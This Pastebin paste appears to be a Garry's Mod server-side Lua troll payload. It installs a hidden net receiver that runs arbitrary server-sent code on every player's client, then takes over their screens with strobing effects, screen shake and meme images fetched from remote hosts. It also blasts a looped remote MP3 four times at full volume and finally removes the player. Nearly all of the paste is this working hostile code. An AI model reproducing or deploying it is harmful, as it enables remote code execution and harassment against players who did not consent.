Advertisement
Guest User

Untitled

a guest
Jan 18th, 2018
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.82 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "rip", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "RIP MON GARS" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "http://jesuschristofficiel.fr/gmod/upload/AsrielEstLa.mp3", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306958-hud.png", "hud1", 300, 128 )
  100. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306628-hud2.png", "hud2", 300, 128 )
  101. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306630-hud3.png", "hud3", 128, 128 )
  102. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos", 183, 256 )
  103. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514850966-giphy.gif", "fedora", 256, 256 )
  104. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514850963-e8nzc.gif", "dew", 110, 256 )
  105. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514850968-2899-full.gif", "awp", 256, 55 )
  106. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos2", 83, 256 )
  107. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos3", 250, 80 )
  108. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos4", 100, 100 )
  109. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos5", 200, 200 )
  110. ]=]):format(lol.m_strImageLoadHTML) )
  111. end )
  112.  
  113. --HUD swap
  114. lol:PushAction( 31, function( pPlayer )
  115. lol:SendLua( pPlayer, [[
  116. (GAMEMODE or GM).CalcView = function() end
  117. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  118.  
  119. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  120. for k, v in pairs(remove) do
  121. hook.GetTable()[v] = {}
  122. end
  123.  
  124. local function GetWebMat( strURL )
  125. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  126. end
  127.  
  128. hook.Add( "HUDPaint", "newhud", function()
  129. surface.SetDrawColor( 255, 255, 255, 255 )
  130.  
  131. if GetWebMat( "hud1" ) then
  132. surface.SetMaterial( GetWebMat("hud1")[1] )
  133. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  134. end
  135. if GetWebMat( "hud2" ) then
  136. surface.SetMaterial( GetWebMat("hud2")[1] )
  137. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  138. end
  139. if GetWebMat( "hud3" ) then
  140. surface.SetMaterial( GetWebMat("hud3")[1] )
  141. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  142. end
  143. if GetWebMat( "doritos" ) then
  144. surface.SetMaterial( GetWebMat("doritos")[1] )
  145. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  146. end
  147. if GetWebMat( "dew" ) then
  148. surface.SetMaterial( GetWebMat("dew")[1] )
  149. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  150. end
  151. if GetWebMat( "fedora" ) then
  152. surface.SetMaterial( GetWebMat("fedora")[1] )
  153. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  154. end
  155. if GetWebMat( "awp" ) then
  156. surface.SetMaterial( GetWebMat("awp")[1] )
  157. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  158. end
  159. if GetWebMat( "doritos2" ) then
  160. surface.SetMaterial( GetWebMat("doritos2")[1] )
  161. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 83 *(200 /100), 256, CurTime() *512 )
  162. end
  163. if GetWebMat( "doritos3" ) then
  164. surface.SetMaterial( GetWebMat("doritos3")[1] )
  165. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 250 *(150 /250), 80, CurTime() *512 )
  166. end
  167. if GetWebMat( "doritos4" ) then
  168. surface.SetMaterial( GetWebMat("doritos4")[1] )
  169. surface.DrawTexturedRectRotated( math.random(200, 200), math.random(250, 260), 100 *(256 /250), 100, CurTime() *512 )
  170. end
  171. if GetWebMat( "doritos5" ) then
  172. surface.SetMaterial( GetWebMat("doritos5")[1] )
  173. surface.DrawTexturedRectRotated( math.random(300, 400), math.random(250, 260), 200 *(1920 /1080), 200, CurTime() *512 )
  174. end
  175.  
  176. draw.SimpleTextOutlined(
  177. "Mode P.L.S Activé, Maintenant Danser Les Clochards & Remercier Zilnix & Jesus !",
  178. "DermaLarge",
  179. ScrW() /2 +math.random( -8, 8 ),
  180. ScrH() /2 +math.random( -8, 8 ) +100,
  181. Color( 4, 255, 0, 160 ),
  182. TEXT_ALIGN_CENTER,
  183. TEXT_ALIGN_CENTER,
  184. 3,
  185. Color( 0, 0, 0, 255 )
  186. )
  187.  
  188. draw.SimpleTextOutlined(
  189. "Hey ! C'est moi Asriel, Ton meilleur Ami ! !",
  190. "DermaLarge",
  191. ScrW() /2 +math.random( -8, 8 ),
  192. ScrH() /2 +math.random( -8, 8 ) +24,
  193. Color( 255, 147, 0, 160 ),
  194. TEXT_ALIGN_CENTER,
  195. TEXT_ALIGN_CENTER,
  196. 3,
  197. Color( 0, 0, 0, 255 )
  198. )
  199.  
  200. draw.SimpleTextOutlined(
  201. "Amusons Nous Pour L'éternité !",
  202. "DermaLarge",
  203. ScrW() /2 +math.random( -8, 8 ),
  204. ScrH() /2 +math.random( -8, 8 ) +64,
  205. Color( 247, 255, 0, 160 ),
  206. TEXT_ALIGN_CENTER,
  207. TEXT_ALIGN_CENTER,
  208. 3,
  209. Color( 0, 0, 0, 255 )
  210. )
  211.  
  212. draw.SimpleTextOutlined(
  213. "Oh..",
  214. "DermaLarge",
  215. ScrW() /2 +math.random( -8, 8 ),
  216. ScrH() /2 +math.random( -8, 8 ) +0,
  217. Color( 255, 0, 0, 160 ),
  218. TEXT_ALIGN_CENTER,
  219. TEXT_ALIGN_CENTER,
  220. 3,
  221. Color( 0, 0, 0, 255 )
  222. )
  223.  
  224. draw.SimpleTextOutlined(
  225. "ASRIEL DREEMURR IS STRONGER THAN YOUR SERVER ! ! !",
  226. "DermaLarge",
  227. ScrW() /2 +math.random( -8, 8 ),
  228. ScrH() /2 +math.random( -8, 8 ) +130,
  229. Color( 0, 4, 255, 160 ),
  230. TEXT_ALIGN_CENTER,
  231. TEXT_ALIGN_CENTER,
  232. 3,
  233. Color( 0, 0, 0, 255 )
  234. )
  235.  
  236. draw.SimpleTextOutlined(
  237. "FOREVER...",
  238. "DermaLarge",
  239. ScrW() /2 +math.random( -8, 8 ),
  240. ScrH() /2 +math.random( -8, 8 ) +160,
  241. Color( 116, 0, 255, 160 ),
  242. TEXT_ALIGN_CENTER,
  243. TEXT_ALIGN_CENTER,
  244. 3,
  245. Color( 0, 0, 0, 255 )
  246. )
  247. end )
  248.  
  249. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  250. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  251.  
  252. surface.PlaySound( "garrysmod/save_load4.wav" )
  253. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  254. ]] )
  255. end )
  256.  
  257. --Disco time
  258. lol:PushAction( 10, function( pPlayer )
  259. local idx = pPlayer:EntIndex()
  260. timer.Create( "beat".. idx, 0.42, 0, function()
  261. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  262. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  263. end )
  264.  
  265.  
  266. lol:SendLua( pPlayer, [[
  267. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  268. local time = 0
  269.  
  270. hook.Add( "Think", "wat", function()
  271. if CurTime() < time then
  272. return
  273. end
  274.  
  275. time = CurTime() +0.05
  276. for i = 1, 16 do
  277. local part = emitter:Add(
  278. "particles/balloon_bit",
  279. LocalPlayer():GetPos() +Vector(
  280. math.random( -256, 256 ),
  281. math.random( -256, 256 ),
  282. 256
  283. )
  284. )
  285.  
  286. if part then
  287. local Size = math.random( 4, 7 )
  288.  
  289. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  290. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  291. part:SetDieTime( 4.5 )
  292. part:SetGravity( Vector(40, 0, -250) )
  293. part:SetLifeTime( 0 )
  294. part:SetStartSize( Size /2 )
  295. part:SetEndSize( Size )
  296. part:SetCollide( true )
  297. end
  298. end
  299. end )
  300. ]] )
  301.  
  302. lol:SendLua( pPlayer, [[
  303. hook.Add( "RenderScreenspaceEffects", "wat", function()
  304. local sinScaler = math.sin( CurTime() )
  305. DrawBloom(
  306. 0,
  307. 3,
  308. sinScaler *math.Rand(1, 8),
  309. sinScaler *math.Rand(1, 8),
  310. 6,
  311. math.Rand(0.5, 2),
  312. math.Rand(0, 0.3),
  313. math.Rand(0, 0.3),
  314. math.Rand(0.5, 1)
  315. )
  316.  
  317. DrawColorModify{
  318. ["$pp_colour_addr"] = 3,
  319. ["$pp_colour_addg"] = 2,
  320. ["$pp_colour_addb"] = 0,
  321. ["$pp_colour_brightness" ] = 0,
  322. ["$pp_colour_contrast" ] = 1,
  323. ["$pp_colour_colour" ] = 1,
  324. ["$pp_colour_mulr" ] = 0,
  325. ["$pp_colour_mulg" ] = 0,
  326. ["$pp_colour_mulb" ] = 0
  327. }
  328. end )
  329.  
  330. local mdl = ClientsideModel( "models/player/corpse1.mdl", RENDERGROUP_BOTH )
  331. mdl:SetNoDraw( true )
  332. local posCache, time = {}, 0
  333.  
  334. hook.Add( "HUDPaint", "dance", function()
  335. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  336. local idx = mdl:LookupSequence("taunt_dance")
  337. mdl.SeqDuration = mdl:SequenceDuration( idx )
  338. mdl.SeqStart = CurTime()
  339. mdl:ResetSequence( idx )
  340. end
  341.  
  342. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  343.  
  344.  
  345. local w, h = 300, 300
  346. local ang = Angle( 0, 0, 0 )
  347.  
  348. for i = 1, 32 do
  349. if CurTime() > time then
  350. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  351. end
  352. local x, y = posCache[i][1], posCache[i][2]
  353.  
  354. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  355. cam.IgnoreZ( true )
  356. render.SuppressEngineLighting( true )
  357.  
  358. render.SetLightingOrigin( mdl:GetPos() )
  359. render.ResetModelLighting( 1, 1, 1 )
  360. render.SetColorModulation( 1, 0, 0 )
  361.  
  362. mdl:DrawModel()
  363.  
  364. render.SuppressEngineLighting( false )
  365. cam.IgnoreZ( false )
  366. cam.End3D()
  367. end
  368.  
  369. if CurTime() > time then
  370. time = CurTime() +0.15
  371. end
  372. end )
  373.  
  374. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  375. ]] )
  376. end )
  377.  
  378. --Let the beat drop
  379. lol:PushAction( 54, function( pPlayer )
  380. lol:SendLua( pPlayer, [[
  381. hook.Add( "GetMotionBlurValues", "wat", function()
  382. return 1, 0, 0, math.sin(CurTime() *13)
  383. end )
  384.  
  385. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  386. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  387. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  388. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  389. end )
  390.  
  391. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  392. render.SetMaterial( Material("cable/blue_elec") )
  393. for i = 1, 32 do
  394. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  395. end
  396. end )
  397.  
  398. timer.Create( "thedrop", 0.42, 0, function()
  399. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  400. end )
  401. ]] )
  402. end )
  403.  
  404. --EVIL TIME rip headpones
  405. lol:PushAction( 175, function( pPlayer )
  406. lol:SendLua( pPlayer, [[
  407. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  408.  
  409. local sounds = {}
  410. for i = 1, 4 do
  411. sound.PlayURL( "http://jesuschristofficiel.fr/gmod/upload/AsrielEstLa.mp3/", "noblock noplay", function( pChan )
  412. sounds[#sounds +1] = pChan
  413. end )
  414. end
  415.  
  416. timer.Create( "asdf", 1, 0, function()
  417. if #sounds ~= 4 then return end
  418. timer.Destroy( "asdf" )
  419. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  420. end )
  421.  
  422. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  423. ]] )
  424.  
  425. pPlayer:Remove()
  426. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement